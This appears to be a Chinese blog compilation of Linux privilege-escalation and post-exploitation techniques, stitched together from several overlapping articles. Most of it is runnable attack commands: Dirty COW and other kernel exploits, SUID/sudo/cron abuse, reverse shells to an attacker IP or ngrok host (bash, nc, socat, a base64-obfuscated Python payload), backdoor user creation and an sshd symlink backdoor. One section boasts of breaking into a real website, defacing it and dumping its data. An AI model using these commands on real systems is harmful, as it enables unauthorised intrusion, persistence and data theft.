精华内容
下载资源
问答
  • Linux提权思路

    2019-08-22 19:19:22
    提权思路 当我们已经获取目标机器的较低权限时,我们需要扩大战果来提升权限。 查看系统发行版本cat /etc/issue或者cat /etc/*-release,查看内核信息uname -a。根据版本信息使用searchsploit xxx来查询发行的...

    提权思路


    • 当我们已经获取目标机器的较低权限时,我们需要扩大战果来提升权限。

    1. 查看系统发行版本cat /etc/issue或者cat /etc/*-release,查看内核信息uname -a。根据版本信息使用searchsploit xxx来查询发行的内核版本是否存在内核溢出漏洞,如果存在漏洞可以直接利用漏洞代码来提升权限:
      * 上传漏洞代码,使用gcc xxx.c -o exploit将代码编译成名为exploit的可执行文件
      * chmod +x exploit赋予执行权限
      * ./exploit执行漏洞进行提权
    2. 明文root密码提权,查看/etc/shadows里面存储密码的hash(一般只有root权限可读),如果可以查看到shadow里面的密码:
      * 进入etc目录下
      * 使用unshadow passwd shadow >cracked
      * john cracked进行破解密码
    3. 计划任务,系统中会存在一些定时执行的任务,可以使用cat /etc/crontab查看定时任务,是否可以替换root定时执行的文件来获取root权限。如果存在.py文件可以使用如下python脚本代替。攻击机上使用nc -nlvp 4444监听4444端口
      *
      #!/usr/bin/python
      import socket,subprocess,os  
      s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
      s.connect(("攻击机ip",4444))
      os.dup2(s.fileno(),0)
      os.dup2(s.fileno(),1);
      os.dup2(s.fileno(),2);
      p=subprocess.call(["/bin/bash","-i"]);
      
    4. 密码复用,对靶机上的信息进行查看,看看是否存在一些网页配置文件,数据库配置文件。如果存在,查看是否有账号密码等敏感信息,可以尝试靶机开放ssh服务的情况下进行远程登录。
    5. root提权命令,使用sudo -l可以查看当前用户可以执行的root提权命令,如果存在就可以使用相关命令进行提权。下面使用zip压缩命令进行举例:
      * mkdir exp新建一个文件夹
      * sudo -u root zip exp.zip exp -T -unzip-command="sh -c /bin/bash"
      * find / -name 1.txt -exec "whoami" \;find提权find / -name 1.txt -exec "/bin/sh" \;
    6. 利用SUID位进行提权find / -perm -u=s -type f 2>/dev/null查找具有SUID的程序进行提权。
    展开全文
  • linux提权思路总结

    2020-07-20 17:27:09
    linux提权思路总结 前言 说到提权,首先需要获得网站的webshell权限,再说提权的操作。 webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。 黑客在入侵了一...

    linux提权思路总结

    前言

    说到提权,首先需要获得网站的webshell权限,再说提权的操作。

    webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。
    黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。

    webshell就是网站管理员,只有站长才可以提升你的权限。 除非你用不正当手法入侵网站所在服务器,才可以提升自己权限。

    webshell的权限是根据不同的web程序而定的,还有就是网站管理员的设置是否严格。

    比如你的网站是ASP的,默认的webshell权限是“受限制用户”,好比xp系统的“user”权限用户,在这种情况下,如果网站管理员再设置诸如asp执行,访问权限,这样下来,你的webshell的权限就很低了。

    但jsp程序就不同了,默认的是“system”权限,厉害吧,得到webshell就等于你拿下了服务器。

    linux发行版本

    是我们常说的Linux操作系统,也即是由Linux内核与各种常用软件的集合产品,全球大约有数百款的Linux系统版本,每个系统版本都有自己的特性和目标人群, 例如:

    • CentOS
    • redhat
    • ubuntu
    • kali

    linux内核

    Linux系统内核指的是一个由Linus Torvalds负责维护,提供硬件抽象层、硬盘及文件系统控制及多任务功能的系统核心程序。

    linux内核版本的分类

    Linux内核版本有两种:稳定版和开发版 ,Linux内核版本号由3组数字组成:第一个组数字.第二组数字.第三组数字

    第一个组数字:目前发布的内核主版本。

    第二个组数字:偶数表示稳定版本;奇数表示开发中版本。

    第三个组数字:错误修补的次数。

    内核漏洞提权

    查看发行版本

    cat /etc/issue
    cat /etc/*-release

    在这里插入图片描述

    查看内核版本

    uname -a

    root@kali:~# uname -a
    Linux kali 5.5.0-kali2-amd64 #1 SMP Debian 5.5.17-1kali1 (2020-04-21) x86_64 GNU/Linux

    在这里插入图片描述

    知道目标的内核版本就可以使用kali自带的searchsploit来搜索exploitdb中的漏洞利用代码

    在这里插入图片描述

    脏牛提权(CVE-2016-5195)

    Linux官方爆出了“脏牛”漏洞(代号:Dirty COW,编号:CVE-2016-5195),攻击者可利用该漏洞本地以低权限提升到root权限。该漏洞又称为 Dirty COW。Dirty COW 是一个特权升级漏洞,可以在每个Linux发行版中找到。这个漏洞的特别之处在于,防病毒和安全软件无法检测,一旦被利用,用户根本无从知晓。

    Dirty COW漏洞利用Linux内核的内存子系统处理和只读存储器映射写入时的竞争条件,黑客可以使用这个缺陷来获得对其它只读存储器映射的写入访问,从而增加它们在系统上的特权。

    **【影响版本】:**该漏洞在全版本Linux系统(Linux kernel >= 2.6.22)均可以实现提权,受影响的镜像版本为:
    CentOS 5.x 32位/64位
    CentOS 6.x 32位/64位
    CentOS 7.x 32位/64位
    CoreOS 717.3.0 64位
    Debian 6.x 32位(Debian官方已停止更新,建议使用Debian7、Debian8版本)
    Debian 7.x 32位/64位
    Debian 8.x 32位/64位
    openSUSE 12.3 32位/64位
    openSUSE 13.2 64位
    SUSE Linux Enterprise Server 11 SP3 64位
    SUSE Linux Enterprise Server 12 64位
    Ubuntu Server 10.04.1 LTS 32位/64位(Ubuntu官方已停止更新,建议使用Ubuntu 14.04版本)
    Ubuntu Server 12.04.1 LTS 32位/64位
    Ubuntu Server 14.04.1 LTS 32位/64位

    复现

    使用gcc -pthread dirty.c -o dirty -lcrypt命令对dirty.c(附件中)进行编译,生成一个dirty的可执行文件。

    在这里插入图片描述

    执行./dirty 密码命令,即可进行提权。
    在这里插入图片描述
    此时使用上图中的账号密码即可获取root权限。

    在这里插入图片描述
    在这里插入图片描述

    总结:
    1. 内核版本需要在2.6.22以上,并且未打补丁
    2. gcc版本可能有要求(exp2),需先升级再测
    3. 成败取决于环境

    反弹shell

    我们在渗透测试的过程中经常会遇到linux主机环境,而在获取linux主机shell是我们经常需要做的是工作内容之一,其中经常会遇到以下几个场景。

    一、场景一

    在这里插入图片描述

    我们已经拿下主机的一个webshell,我们想获取一个可以直接操作主机的虚拟终端,此时我们首先想到的是开启一个shell监听,这种场景比较简单,我们直接使用使用nc即可开启,如果没有nc我们也可以很轻松的直接下载安装一个,具体开启监听的命令如下。

    1.1 安装netcat

    这里需要注意一点默认的各个linux发行版本已经自带了netcat工具包,但是可能由于处于安全考虑原生版本的netcat带有可以直接发布与反弹本地shell的功能参数 -e这里都被阉割了,所以我们需要手动下载二进制安装包,自己动手丰衣足食了,具体过程如下。

    原生版本netcat链接:https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz

    # 第一步:下载二进制netc安装包
    root@home-pc# wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz 
    # 第二步:解压安装包
    root@home-pc# tar -xvzf netcat-0.7.1.tar.gz
    # 第三步:编译安装
    root@home-pc# ./configure
    root@home-pc# make
    root@home-pc# make install
    root@home-pc# make clean
    # 具体编译安装过程可以直接参见INSTALL安装说明文件内容...
    # 第四步:在当前目录下运行nc帮助
    root@home-pc:/tmp/netcat-0.7.1# nc -h
    GNU netcat 0.7.1, a rewrite of the famous networking tool.
    Basic usages:
    connect to somewhere:  nc [options] hostname port [port] ...
    listen for inbound:    nc -l -p port [options] [hostname] [port] ...
    tunnel to somewhere:   nc -L hostname:port -p port [options]
    Mandatory arguments to long options are mandatory for short options too.
    Options:
      -c, --close                close connection on EOF from stdin
      -e, --exec=PROGRAM         program to exec after connect
      -g, --gateway=LIST         source-routing hop point[s], up to 8
      -G, --pointer=NUM          source-routing pointer: 4, 8, 12, ...
      -h, --help                 display this help and exit
      -i, --interval=SECS        delay interval for lines sent, ports scanned
      -l, --listen               listen mode, for inbound connects
      -L, --tunnel=ADDRESS:PORT  forward local port to remote address
      -n, --dont-resolve         numeric-only IP addresses, no DNS
      -o, --output=FILE          output hexdump traffic to FILE (implies -x)
      -p, --local-port=NUM       local port number
      -r, --randomize            randomize local and remote ports
      -s, --source=ADDRESS       local source address (ip or hostname)
      -t, --tcp                  TCP mode (default)
      -T, --telnet               answer using TELNET negotiation
      -u, --udp                  UDP mode
      -v, --verbose              verbose (use twice to be more verbose)
      -V, --version              output version information and exit
      -x, --hexdump              hexdump incoming and outgoing traffic
      -w, --wait=SECS            timeout for connects and final net reads
      -z, --zero                 zero-I/O mode (used for scanning)
    Remote port number can also be specified as range.  Example: '1-1024'
    

    至此我们已经安装完成原生版本的 netcat工具,有了netcat -e参数,我们就可以将本地bash完整发布到外网了。

    1.2 开启本地监听

    # 开启本地8080端口监听,并将本地的bash发布出去。
    root# nc -lvvp 8080 -t -e /bin/bash
    

    1.3 直接连接目标主机

    root@kali:~# nc 192.168.31.41 8080
    whoami
    root
    w
     22:57:36 up  1:24,  0 users,  load average: 0.52, 0.58, 0.59
    USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHA
    

    二、场景二

    在这里插入图片描述

    目标主机为一个内网主机,并没有公网IP地址,我们无法从外网发起对目标主机的远程连接,此时我们使用的方法是使用获取的webshell主动发起一个反弹的shell到外网,然后获取一个目标主机的shell终端控制环境,而有关shell反弹的方法有很多这里简单介绍几种比较常见的方法。

    2.1 bash 直接反弹

    bash一句话shell反弹:个人感觉最好用的用的方法就是使用的方法就是使用bash结合重定向方法的一句话,具体命令如下。

    (1) bash反弹一句话

    root# bash -i >& /dev/tcp/192.168.31.41/8080 0>&1
    

    (2)bash一句话命令详解

    以下针对常用的bash反弹一句话进行了拆分说明,具体内容如下。

       命令                      命令详解
    bash -i               产生一个bash交互环境
    >&                    将联合符号前面的内容与后面相结合然后一起重定向给后者
    /dev/tcp/ip/端口      linux 环境中所有的内容都是以文件的形式存在的,让主机与目标主机ip:端口建立一个TCP连接 
    0>&1                  将 标准的输入 与 标准输出 内容相结合,然后重定向给前面  标准的输出 内容
    

    详细解读过程:bash产生了一个交互环境与本地主机主动发起与目标主机8080端口建立的连接(即TCP 8080 会话连接)相结合,然后在重定向tcp 8080会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash 反弹环境。

    2.2 netcat 工具反弹

    Netcat 一句话反弹:Netcat反弹也是非常常用的方法,只是这个方法需要我们手动去安装一个NC环境,前面已经介绍默认的linux发型版现在自带的NC都是被阉割过来,无法反弹一个bash给远端,所以相对上面的bash一句话反弹显得就繁琐很多,同时通过实际测试发现NC反弹的shell交互性也差很多,后面会具体说道,这里就不多说了。

    (1)开启外网主机监听

    root@kali:~# nc -lvvp 8080
    listening on [any] 8080 ...
    

    (2) netcat安装

    有关netcat的原生二进制安装包的编译安装内容请参考场景一中的具体说明;

    (3)netcat 反弹一句话

    ~ # nc 192.168.31.174 8080 -t -e /bin/bash
    # 命令详解:通过webshell我们可以使用nc命令直接建立一个tcp 8080 的会话连接,然后将本地的bash通过这个会话连接反弹给目标主机(192.168.31.174)。
    

    (4)shell反弹成功

    此时我们再回到外网主机,我们会发现tcp 8080监听已经接收到远端主机发起的连接,并成功获取shell虚拟终端控制环境。

    在这里插入图片描述

    查看以上截图,我们可以看到msfvenom支持生成反弹shell一句话的类型非常丰富,这里几乎是应有尽有,大家可以依据渗透测试对象自行选择使用。

    2.5.2 生成我们我们需要的命令行一句话

    依照前面查找出的命令生成一句话payload路径,我们使用如下的命令生成反弹一句话,然后复制粘贴到靶机上运行即可。

    bash 反弹一句话生成

    # root@kali:~# msfvenom -p cmd/unix/reverse_bash lhost=1.1.1.1 lport=12345 R
    

    阉割版nc反弹一句话生成

    # root@kali:~# msfvenom -p cmd/unix/reverse_netcat lhost=1.1.1.1 lport=12345 R
    

    在这里插入图片描述

    2.5.3 msfvenom 使用实例

    (1) 开启攻击机监听

    在攻击机上开启本地 TCP 12345 端口监听,准备监听机上的会话反弹,查看如下截图可以看到本地TCP 12345 端口监听已经开启。
    在这里插入图片描述

    (2) 获取python一句话

    我们此时可以借助于MSF框架平台的msfvenom 工具自动生成一个python 反弹一句话,具体操作请参加如下截图。(当然这里的前提条件是靶机上安装有python环境,现在默认一般的linux发行版默认都安装有python环境。)

    在这里插入图片描述

    (3) 靶机上运行python一句话

    python -c "exec('aW1wb3J0IHNvY2tldCAgICAgICAgLCBzdWJwcm9jZXNzICAgICAgICAsIG9zICAgICAgICA7ICBob3N0PSIxOTIuMTY4LjMxLjIwMCIgICAgICAgIDsgIHBvcnQ9MTIzNDUgICAgICAgIDsgIHM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCAgICAgICAgLCBzb2NrZXQuU09DS19TVFJFQU0pICAgICAgICA7ICBzLmNvbm5lY3QoKGhvc3QgICAgICAgICwgcG9ydCkpICAgICAgICA7ICBvcy5kdXAyKHMuZmlsZW5vKCkgICAgICAgICwgMCkgICAgICAgIDsgIG9zLmR1cDIocy5maWxlbm8oKSAgICAgICAgLCAxKSAgICAgICAgOyAgb3MuZHVwMihzLmZpbGVubygpICAgICAgICAsIDIpICAgICAgICA7ICBwPXN1YnByb2Nlc3MuY2FsbCgiL2Jpbi9iYXNoIik='.decode('base64'))"
    

    直接将上面msfvenon 生成的 python 一句话复制到靶机webshell上运行即可,我这里为演示方便,直接贴了一张使用kali做为靶机运行的截图。

    在这里插入图片描述

    (4) 攻击监听接受反弹情况

    在这里插入图片描述

    三、场景三

    在这里插入图片描述

    场景三其实应该是在使用shell环境获取的过程中遇到的问题孕育出来的,大家如果经常使用前各种方法进行虚拟终端环境获取的话,会发现存在一个问题,就是我们即使获取了目标虚拟终端控制权限,但是往往会发现交互性非常的差,就是发现这个虚拟回显信息与可交互性非常的差和不稳定,具体见情况有以下几个种。

    问题1: 获取的虚拟终端没有交互性,我们想给添加的账号设置密码,无法完成。

    问题2:标准的错误输出无法显示,无法正常使用vim等文本编辑器等;

    问题3: 获取的目标主机的虚拟终端使用非常不稳定,很容易断开连接。

    针对以上问题个人学习和总结了以下的应对方法,请大家参考交流。

    3.1 一句话添加账号

    你不是不给我提供交互的界面吗,那我就是使用脚本式的方法,使用一句话完成账号密码的添加,有关一句话账号密码的添加,笔者收集了以下几种方式。

    3.1.1 chpasswd 方法

    (1)执行语句

    useradd newuser;echo "newuser:password"|chpasswd
    

    (2)操作实例

    root@ifly-21171:~# useradd guest;echo 'guest:123456'|chpasswd
    root@ifly-21171:~# vim /etc/shadow
    
    sshd:*:17255:0:99999:7:::
    pollinate:*:17255:0:99999:7:::
    postgres:*:17390:0:99999:7:::
    guest:$6$H0a/Nx.w$c2549uqXOULY4KvfCK6pTJQahhW7fuYYyHlo8HpnBxnUMtbXEbhgvFywwyPo5UsCbSUAMVvW9a7PsJB12TXPn.:17425:0:99999:7:::
    

    3.1.2 useradd -p 方法

    (1) 执行语句

    useradd -p encrypted_password newuser
    

    (2) 操作实例

    root@ifly-21171:~# useradd -p `openssl passwd 123456` guest
    root@ifly-21171:~# vim /etc/shadow
    sshd:*:17255:0:99999:7:::
    pollinate:*:17255:0:99999:7:::
    postgres:*:17390:0:99999:7:::
    guest:h8S5msqJLVTfo:17425:0:99999:7:::
    

    (3) 相同方法其他实现

    相同方法不同实现一

    root@ifly-21171:~# useradd -p "$(openssl passwd 123456)" guest
    root@ifly-21171:~#
    

    相同方法不同实现二

    user_password="`openssl passwd 123456`"
    useradd -p "$user_password" guest
    

    3.1.3 echo -e 方法

    (1)执行语句

    useradd newuwer;echo -e "123456n123456n" |passwd newuser
    

    (2) 操作实例

    root@ifly-21171:~# useradd test;echo -e "123456n123456n" |passwd test
    Enter new UNIX password: Retype new UNIX password: passwd: password updated successfully
    root@ifly-21171:~# vim /etc/shadow
    sshd:*:17255:0:99999:7:::
    pollinate:*:17255:0:99999:7:::
    postgres:*:17390:0:99999:7:::
    guest:h/UnnFIjqKogw:17425:0:99999:7:::
    test:$6$rEjvwAb2$nJuZ1MDt0iKbW9nigp8g54ageiKBDuoLObLd1kWUC2FmLS0xCFFZmU4dzRtX/i2Ypm9uY6oKrSa9gzQ6qykzW1:17425:0:99999:7:::
    

    3.2 python 标准虚拟终端获取

    我们通过各种方式获取的shell经常不稳定或者没有交互界面的原因,往往都是因为我们获取的shell不是标准的虚拟终端,此时我们其实可以借助于python来获取一个标准的虚拟终端环境。python在现在一般发行版Linux系统中都会自带,所以使用起来也较为方便,即使没有安装,我们手动安装也很方便。

    3.2.1 python 一句话获取标准shell

    使用python一句话获取标准shell

    python -c “import pty;pty.spawn(’/bin/bash’)”

        命令                                命令详解
        -c                       命令行执行 
       import pty                引入标准库pty           
       pty.spawn                 使用pty的spawn方法调用/bin/bash获取一个标准的shell
    

    3.2.2 实例演示

    具体(1)开启监听;(2)反弹shell;(3)会话建立的过程这里不在重复演示了,这里直接贴出笔者获取到反弹shell后的问题后,如何通过python获取标准shell的过程截图展现如下。

    在这里插入图片描述

    虽然到目前为止写的虚拟终端并没有原生终端那样好,但是花点时间去折腾然后不断的去完善.相信会做的更好. 大家可能在渗透测试的时候会发现有些时候系统的命令终端是不允许直接访问的,那么这个时候用Python虚拟化一个终端相信会让你眼前一亮.

    总结

    4.1 nc开启本地监听发布bash服务

    # nc -lvvp 12345 -t -e /bin/bash
    

    4.2 常用反弹shell一句话

    (1) bash 反弹一句话

    # bash -i >& /dev/tcp/192.168.1.123/12345 0>&1
    

    (2) nc 反弹一句话

    # nc 192.168.1.123 12345 -t -e /bin/bash
    

    (3) socat 反弹一句话

    # wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat      # 第一步:下载socat到/tmp目录下
    # chmod 755 /tmp/socat          # 第二步:给socaat授予可以执行权限
    # /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.31.41:12345        # 第三步:反弹shell到目标主机的12345端口
    

    4.3 利用msfvenom获取反弹一句话

    (1) 查询 reverse payload 反弹路径

    # msfvenom -l payloads 'cmd/unix/reverse'
    

    (2) 生成相关反弹一句话

    # msfvenom -p cmd/unix/reverse_xxxx lhost=1.1.1.1 lport=12345 R
    

    剩下的就是将生成的payload 反弹一句话直接复制到靶机上直接运行即反弹一个shell出来。

    4.4 使用python获取标准shell

    直接在获取的废标准shell上直接运行一下python 一句话即可获取一个标准的shell。

    # python -c "import pty;pty.spawn('/bin/bash')"
    

    4.5 linux 一句话添加账户

    (1)chpasswd 方法

    # useradd guest;echo 'guest:123456'|chpasswd
    

    (2)useradd -p 方法

    # useradd -p `openssl passwd 123456` guest
    

    (3)echo -e 方法

    # useradd test;echo -e "123456n123456n" |passwd test
    

    内网穿透

    没有外网IP的只能搞内网映射了

    官网地址https://ngrok.com/,(附件已下载)册一个账号设置好
    在这里插入图片描述

    ngrok启动,获得一个公网地址

    在这里插入图片描述

    反弹shell

    bash -i >& /dev/tcp/0.tcp.ngrok.io/15234 0>&1
    
    kali上   nc -l -p 9998
    

    在这里插入图片描述

    然后再获得一个标准shell

    python -c "import pty;pty.spawn('/bin/bash')"
    
    展开全文
  • Linux提权思路+实战【很不错的文章】

    万次阅读 多人点赞 2018-10-04 00:53:52
    Linux提权思路 前言 首先关于Linux提权我们得先明白几个概念。 linux发行版本 是我们常说的Linux操作系统,也即是由Linux内核与各种常用软件的集合产品,全球大约有数百款的Linux系统版本,每个系统版本都有自己...

    Linux提权思路

    前言

    首先关于Linux提权我们得先明白几个概念。

    linux发行版本

    是我们常说的Linux操作系统,也即是由Linux内核与各种常用软件的集合产品,全球大约有数百款的Linux系统版本,每个系统版本都有自己的特性和目标人群, 例如:

    • CentOS
    • redhat
    • ubuntu
    • kali

    linux内核

    Linux系统内核指的是一个由Linus Torvalds负责维护,提供硬件抽象层、硬盘及文件系统控制及多任务功能的系统核心程序。

    linux内核版本的分类
    
    Linux内核版本有两种:稳定版和开发版 ,Linux内核版本号由3组数字组成:第一个组数字.第二组数字.第三组数字
    
    第一个组数字:目前发布的内核主版本。
    
    第二个组数字:偶数表示稳定版本;奇数表示开发中版本。
    
    第三个组数字:错误修补的次数。

    正文

    内核漏洞提权

    说到内核提权就得提到脏牛了,这里先放一放,讲讲常规思路。

    查看发行版本

    cat /etc/issue
    cat /etc/*-release

    查看内核版本

    uname -a
    
    root@kali:~# uname -a
    Linux kali 4.9.0-kali3-amd64 #1 SMP Debian 4.9.18-1kali1 (2017-04-04) x86_64 GNU/Linux

    这样我们就得到了系统的内核版本

    可以用kali自带的searchsploit来搜索exploitdb中的漏洞利用代码

    searchsploit linux Debian 4

     

     

    反弹shell

    如果手里只有webshell可以利用反弹shell来得到一个shell

    首先我们得有一个netcat

    开启本地监听

    # 开启本地8080端口监听,并将本地的bash发布出去。
    nc -lvvp 8080 -t -e /bin/bash

    直接连接目标主机

    nc 192.168.1.1 8000

     

     

    bash直接反弹

    bash一句话shell反弹:个人感觉最好用的用的方法就是使用的方法就是使用bash结合重定向方法的一句话,具体命令如下。

    (1) bash反弹一句话

    bash -i >& /dev/tcp/192.168.1.1/8080 0>&1
    本地 nc -l -p 8080

    (2)bash一句话命令详解

    以下针对常用的bash反弹一句话进行了拆分说明,具体内容如下。

    其实以上bash反弹一句完整的解读过程就是:

    bash产生了一个交互环境与本地主机主动发起与目标主机8080端口建立的连接(即TCP 8080 会话连接)相结合,然后在重定向个tcp 8080会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash 反弹环境。

    具体各种反弹shell方式可参照安全客linux各种一句话反弹shell总结https://www.anquanke.com/post/id/87017

     

     

    脏牛提权

    参考链接:https://blog.csdn.net/DarkHQ/article/details/79222879

    POC:https://github.com/FireFart/dirtycow

    利用gcc编译dirty.c文件

    gcc -pthread dirty.c -o dirty -lcrypt 

    反弹shell

    python 一句话获取标准shell

    python -c "import pty;pty.spawn('/bin/bash')"

    命令详解:python 默认就包含有一个pty的标准库

     

     

     

    linux 一句话添加账号

     

    (1)chpasswd 方法

     

    # useradd guest;echo 'guest:123456'|chpasswd

     

    (2)useradd -p 方法

     

    # useradd -p `openssl passwd 123456` guest

     

    (3)echo -e 方法

     

    # useradd test;echo -e "123456n123456n" |passwd test

     

    内网穿透

     

    没有外网IP的我只能搞内网映射了

     

    参考链接http://tieba.baidu.com/p/4604965053

     

    官网地址https://ngrok.com/

     

    注册一个账号设置好

     

    ./ngrok tcp 9999 

     

    获得一个公网地址

     

    screen命令

     

    语法

     

    screen [zxsq-anti-bbcode--AmRvx -ls -wipe][zxsq-anti-bbcode--d <作业名称>][zxsq-anti-bbcode--h <行数>][zxsq-anti-bbcode--r <作业名称>][zxsq-anti-bbcode--s ][zxsq-anti-bbcode--S <作业名称>]

     

    选项

     

    -A  将所有的视窗都调整为目前终端机的大小。
    
    -d <作业名称>  将指定的screen作业离线。
    
    -h <行数>  指定视窗的缓冲区行数。
    
    -m  即使目前已在作业中的screen作业,仍强制建立新的screen作业。
    
    -r <作业名称>  恢复离线的screen作业。
    
    -R  先试图恢复离线的作业。若找不到离线的作业,即建立新的screen作业。
    
    -s  指定建立新视窗时,所要执行的shell。
    
    -S <作业名称>  指定screen作业的名称。
    
    -v  显示版本信息。
    
    -x  恢复之前离线的screen作业。
    
    -ls或--list  显示目前所有的screen作业。
    
    -wipe  检查目前所有的screen作业,并删除已经无法使用的screen作业。

     

    常用screen参数

     

    screen -S yourname -> 新建一个叫yourname的session
    
    screen -ls -> 列出当前所有的session
    
    screen -r yourname -> 回到yourname这个session
    
    screen -d yourname -> 远程detach某个session
    
    screen -d -r yourname -> 结束当前session并回到yourname这个session

     

    例子

     

    #创建名称为 ssh的回话
    
    screen -S lego
    
    
    
    #连接ngrok
    
    ./ngrok tcp 9999 
    
    
    
    #退出到命令行
    
    ctl+A+D
    
    
    
    #查看回话
    
    screen -ls
    
    
    
    #登录到我刚刚创建的ssh
    
    screen -r lego

     

    ssh相关

     

    Linux后门

     

    ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555; 

     

    经典后门。直接对sshd建立软连接,之后用任意密码登录即可

     

    ssh -o "StrictHostKeyChecking no" -o UserKnownHostsFile=/dev/null -T -fND 192.168.0.110:8888 mail@127.0.0.1 -o 31337

     

    ssh -o "StrictHostKeyChecking no"  -T -fNR 8888:192.168.0.110:8888 proxy@公网ip

     

    我不是黑阔

     

    前言

     

     

    编程玩的在好,我也不能写出完美的爱情

     

    渗透玩的在强,我也不能提权进你的心

     

    免杀玩的在狠,我也过不了你的主防御

     

    纵使我多么的不可一世,也不是你的admin

     

    会的再多又怎么样?没有了你,我就是一无所有

     

    正文

     

    抗韩之路

     

    身为一名黑阔,

     

    总是会不进想起前辈们的中美黑客大战。

     

    物是人非事事休,

     

    欲语泪先流。

     

    想起那时候的一个个黑页,

     

    内心突然澎湃了起来。

     

    放我出去,我要日站。

     

    身为一名黑阔,我明白我的责任所在。

     

    就在这时,我盯上了一个之前早已沦陷的站。

     

    就在这一刻我明白,肩上扛负着什么---抗韩从日站做起。

     

    挂黑页 脱裤子 已经满足不了我了。

     

    我需要的是你的所有。

     

    提权

     

    有了webshell之后,我看了一下我的权限。

     

    不够不够不够。我需要的是你的root。

     

    看发行版本,看内核。

     

    原来是古物。

     

    脏牛走起

     

     

    提权成功。

     

    但是由于菜刀的webshell并非是真实的shell,我无法切换到root用户。

     

    所以我要反弹shell出来。

     

    内网映射

     

    身为一名黑阔,突然发现我竟然连个外网IP都没有。

     

    在成为一名黑阔的路上,有条件要上,没有条件创造条件也要上。

     

    没有外网就内网映射

     

    我在https://ngrok.com/上注册了一个账号

     

    ngrok启动

     

     

    反弹shell

     

    bash -i >& /dev/tcp/0.tcp.ngrok.io/15234 0>&1
    
    kali上   nc -l -p 9998

     

     

    然后再获得一个标准shell

     

    python -c "import pty;pty.spawn('/bin/bash')"

     

    切换到DarkHQ

     

     

    看看权限

     

    这个时候我是SSH是连不上去的,因为他禁了root权限登入ssh,所以我新建了一个用户

     

    即上面那句

     

    useradd guest;echo 'guest:123456'|chpasswd

     

    ssh连上普通账户

     

    再切换到root账户

     

     

    展开全文
  • 前言 首先关于Linux提权我们得先明白几个概念 linux发行版本 是我们常说的Linux操作系统也即是由Linux内核与各种常用软件的集合产品全球大约有数百款的Linux系统版本每个系统版本都有自己的特性和目标人群 例如 ...
  • linux提权思路小结

    2019-11-14 20:42:35
    Linux提权基本思路小结 渗透测试过程中,拿到webshell后经常会查看当前权限并进行提权。这里总结一下linux系统提权的思路。 0x00信息收集 在进行提权之前,我们需要知道目标系统的一些必要的信息: uname -a 内核版本...

    Linux提权基本思路小结

    渗透测试过程中,拿到webshell后经常会查看当前权限并进行提权。这里总结一下linux系统提权的思路。

    0x00信息收集

    在进行提权之前,我们需要知道目标系统的一些必要的信息:

    uname -a 内核版本
    uname -n 系统主机名
    uname -m 系统内核架构
    cat /etc/issue  cat /etc/*-release 发行版信息
    cat /proc/version 内核信息
    
    whoami 查看当前用户
    id 当前用户详细信息
    
    cat /etc/passwd 查看所有用户
    cat /etc/group 查看所有组
    
    env 环境变量
    cat /etc/profile 默认系统变量
    cat /etc/shells 查看系统可用的shell
    

    根据收集到的系统内核、发行版、用户、组、权限等信息,我们可以选择具体的提权方法。

    0x01内核漏洞提权

    利用前提

    • 已经拿到低权限shell
    • 目标系统上有gcc
    • 有上传文件的权限

    脏牛漏洞提权

    漏洞描述:
    漏洞编号:CVE-2016-5195
    漏洞名称:脏牛(Dirty COW)
    漏洞危害:低权限用户利用该漏洞技术可以在全版本上实现本地提权
    影响范围:Linux kernel >=2.6.22  并且Android也受影响
    

    原理

    Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。
    
    一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞
    

    脏牛漏洞的exp利用方式与其他exp基本一致。

    内核版本低于2.6.22

    可以使用kali自带的searchsploit来搜索可用的针对各种linux发行版的漏洞。

    使用searchsploit的方法也很简单,searchsploit后面跟要搜索的内容即可。同时也可以跟上限定词来限定搜索范围。

    选择一个适合的exp后即可查看说明,上传到要提权的系统编译后使用。

    PS 若是服务器没有安装gcc就需要我们在本地编译了,需要根据需要手动调整编译的各种参数,很是复杂orz

    0x02 明文root密码

    概率十分小的一种情况…

    通常情况下/etc/passwd存储了系统中的用户,而/etc/shadow存储了系统中用户的密码的hash。

    而且/etc/passwd全用户可读,root可写;/etc/shadow只有root可读可写。

    • shadow中存储了用户的密码hash,但是如果passwd可写,将passwd中的x改为一个已知密码的hash,那么系统在验证密码时将以passwd的为准。

    • shadow可读的情况下,可以使用john或其他来进行暴力破解hash。

    查看这两个文件的权限:

    ls -l /etc/passwd /etc/shadow
    

    0x03 suid提权

    suid:

    SUID是一种特殊的文件属性,它允许用户执行的文件以该文件的拥有者的身份运行。比如passwd命令,就是以root权限运行来修改shadow的。
    suid提权:
    利用拥有suid的文件执行命令,从而提升权限至root

    查找suid文件:

    find / -perm -u=s -type f 2>/dev/null
    

    注: -type f即文件,-perm -u=s 即user权限位为suid

    列出来以root权限执行的文件。

    常见的可以用来提权的文件:

    Nmap
    Vim
    find
    Bash
    More
    Less
    Nano
    cp
    

    例nmap

    较旧版本的Nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。由于Nmap位于上面使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。

    进入nmap交互模式:

    nmap --interactive
    

    执行!sh

    !sh
    

    即可返回一个shell

    例find

    若find以suid运行,则通过find -exec执行的命令都会以root权限运行。

    touch getflag
    find / -type f -name getflag -exec "whoami" \;
    find / -type f -name getflag -exec "/bin/sh" \;
    

